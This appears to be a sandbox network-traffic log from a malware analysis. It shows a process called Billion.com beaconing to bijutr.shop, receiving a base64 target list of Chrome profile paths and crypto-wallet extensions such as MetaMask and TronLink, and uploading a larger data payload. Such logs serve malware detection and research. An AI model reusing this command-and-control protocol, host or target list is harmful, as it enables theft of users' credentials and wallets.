2024-12-24 18:27:46 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----26XT0RQ16P8QIECB1DTJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:46 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 36 58 54 30 52 51 31 36 50 38 51 49 45 43 42 31 44 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 32 36 58 54 30 52 51 31 36 50 38 51 49 45 43 42 31 44 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 32 36 58 54 30 52 51 31 36 50 38 51 49 45 43 42 31 44 54 4a 0d 0a 43 6f 6e 74 Data Ascii: ------26XT0RQ16P8QIECB1DTJContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------26XT0RQ16P8QIECB1DTJContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------26XT0RQ16P8QIECB1DTJCont
2024-12-24 18:27:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:47 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49818	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:48 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----26FU3EKF37QIE37Y5FUS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:48 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 36 46 55 33 45 4b 46 33 37 51 49 45 33 37 59 35 46 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 32 36 46 55 33 45 4b 46 33 37 51 49 45 33 37 59 35 46 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 32 36 46 55 33 45 4b 46 33 37 51 49 45 33 37 59 35 46 55 53 0d 0a 43 6f 6e 74 Data Ascii: ------26FU3EKF37QIE37Y5FUSContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------26FU3EKF37QIE37Y5FUSContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------26FU3EKF37QIE37Y5FUSCont
2024-12-24 18:27:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:49 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49824	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:50 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7YCBIE37YCBAIEC26FCB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:50 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 59 43 42 49 45 33 37 59 43 42 41 49 45 43 32 36 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 37 59 43 42 49 45 33 37 59 43 42 41 49 45 43 32 36 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 37 59 43 42 49 45 33 37 59 43 42 41 49 45 43 32 36 46 43 42 0d 0a 43 6f 6e 74 Data Ascii: ------7YCBIE37YCBAIEC26FCBContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------7YCBIE37YCBAIEC26FCBContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------7YCBIE37YCBAIEC26FCBCont
2024-12-24 18:27:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:51 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49834	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:53 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----YCT0HVAS26FUAI5PZ5X4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 6901 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:53 UTC	6901	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 59 43 54 30 48 56 41 53 32 36 46 55 41 49 35 50 5a 35 58 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 59 43 54 30 48 56 41 53 32 36 46 55 41 49 35 50 5a 35 58 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 59 43 54 30 48 56 41 53 32 36 46 55 41 49 35 50 5a 35 58 34 0d 0a 43 6f 6e 74 Data Ascii: ------YCT0HVAS26FUAI5PZ5X4Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------YCT0HVAS26FUAI5PZ5X4Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------YCT0HVAS26FUAI5PZ5X4Cont
2024-12-24 18:27:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:54 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49835	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:54 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6PH4O89RQIEU37YMYCJ5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:54 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 50 48 34 4f 38 39 52 51 49 45 55 33 37 59 4d 59 43 4a 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 36 50 48 34 4f 38 39 52 51 49 45 55 33 37 59 4d 59 43 4a 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 36 50 48 34 4f 38 39 52 51 49 45 55 33 37 59 4d 59 43 4a 35 0d 0a 43 6f 6e 74 Data Ascii: ------6PH4O89RQIEU37YMYCJ5Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------6PH4O89RQIEU37YMYCJ5Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------6PH4O89RQIEU37YMYCJ5Cont
2024-12-24 18:27:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:55 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49841	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 2f 77 31 65 5a 6a 72 58 45 79 6a 66 6a 54 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 62 36 62 64 36 62 65 33 37 62 37 64 65 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1/w1eZjrXEyjfjTK.1Context: 54b6bd6be37b7de1
2024-12-24 18:27:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 18:27:56 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 2f 77 31 65 5a 6a 72 58 45 79 6a 66 6a 54 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 62 36 62 64 36 62 65 33 37 62 37 64 65 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1/w1eZjrXEyjfjTK.2Context: 54b6bd6be37b7de1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-24 18:27:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 2f 77 31 65 5a 6a 72 58 45 79 6a 66 6a 54 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 62 36 62 64 36 62 65 33 37 62 37 64 65 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1/w1eZjrXEyjfjTK.3Context: 54b6bd6be37b7de1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 18:27:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 18:27:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4b 4e 56 47 6a 31 79 46 67 30 6d 54 65 72 69 44 43 63 78 55 69 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: KNVGj1yFg0mTeriDCcxUiQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49852	142.250.181.68	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:58 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 18:27:59 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 18:27:58 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ZcKnd_S529o8QpWC2cvCTQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 18:27:59 UTC	124	IN	Data Raw: 38 30 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 6c 61 79 6f 66 66 22 2c 22 6a 61 6d 65 73 20 67 75 6e 6e 20 66 6c 61 73 68 22 2c 22 62 61 72 73 74 6f 6f 6c 20 73 70 6f 72 74 73 20 62 61 6c 74 69 6d 6f 72 65 20 70 69 7a 7a 61 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 32 20 63 6f 6e 73 6f 6c 65 22 2c 22 Data Ascii: 800)]}'["",["college football playoff","james gunn flash","barstool sports baltimore pizza","nintendo switch 2 console","
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 6c 61 6e 65 20 6b 69 66 66 69 6e 22 2c 22 70 61 72 69 73 20 65 69 66 66 65 6c 20 74 6f 77 65 72 20 66 69 72 65 22 2c 22 66 69 6e 63 65 6e 20 62 6f 69 20 72 65 70 6f 72 74 69 6e 67 20 69 6e 6a 75 6e 63 74 69 6f 6e 22 2c 22 74 68 65 20 6f 64 79 73 73 65 79 20 66 69 6c 6d 20 63 68 72 69 73 74 6f 70 68 65 72 20 6e 6f 6c 61 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f Data Ascii: lane kiffin","paris eiffel tower fire","fincen boi reporting injunction","the odyssey film christopher nolan"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","goo
2024-12-24 18:27:59 UTC	541	IN	Data Raw: 56 70 71 53 30 4e 48 64 55 74 77 56 47 6c 70 56 47 70 52 57 55 46 34 4f 48 70 53 51 56 4e 57 52 44 4d 32 56 6e 52 30 4f 57 39 73 65 47 30 79 62 32 70 69 59 55 5a 31 62 6e 70 6f 57 6c 59 72 62 6e 42 35 4c 7a 64 55 4e 46 4e 55 62 46 52 46 64 55 78 79 5a 30 67 79 64 58 64 34 53 53 74 47 52 6b 68 48 5a 45 64 31 4b 7a 52 4e 4e 43 74 42 4e 55 4e 75 65 6c 6c 31 4f 46 4a 46 65 54 4e 76 56 57 6c 5a 65 56 68 47 51 55 5a 30 53 45 56 55 62 6d 56 34 61 6b 67 77 65 44 6c 4c 63 58 52 61 56 6b 78 68 53 57 4e 56 62 7a 63 76 51 55 70 35 55 6e 6c 57 57 45 6c 79 51 56 4d 77 56 57 74 42 62 6e 52 57 53 48 5a 58 64 58 4e 5a 62 6b 78 34 4d 33 52 69 57 6a 5a 59 57 56 6c 70 55 48 67 72 52 45 78 68 55 54 67 79 55 30 5a 69 61 6d 63 7a 61 47 74 6a 63 57 6f 7a 59 6c 70 31 4d 6c 51 30 Data Ascii: VpqS0NHdUtwVGlpVGpRWUF4OHpSQVNWRDM2VnR0OW9seG0yb2piYUZ1bnpoWlYrbnB5LzdUNFNUbFRFdUxyZ0gydXd4SStGRkhHZEd1KzRNNCtBNUNuell1OFJFeTNvVWlZeVhGQUZ0SEVUbmV4akgweDlLcXRaVkxhSWNVbzcvQUp5UnlWWElyQVMwVWtBbnRWSHZXdXNZbkx4M3RiWjZYWVlpUHgrRExhUTgyU0ZiamczaGtjcWozYlp1MlQ0
2024-12-24 18:27:59 UTC	89	IN	Data Raw: 35 33 0d 0a 65 69 74 53 64 45 68 48 55 54 51 72 4e 6e 56 4a 4e 48 42 43 53 32 35 47 4e 6a 5a 69 4d 6d 64 44 5a 6e 41 78 52 6c 42 58 54 33 68 6c 4d 57 52 70 4f 55 46 6b 53 32 73 34 53 46 46 71 62 55 38 35 52 55 63 30 64 55 4e 45 64 57 74 77 65 6e 4a 70 61 54 6b 0d 0a Data Ascii: 53eitSdEhHUTQrNnVJNHBCS25GNjZiMmdDZnAxRlBXT3hlMWRpOUFkS2s4SFFqbU85RUc0dUNEdWtwenJpaTk
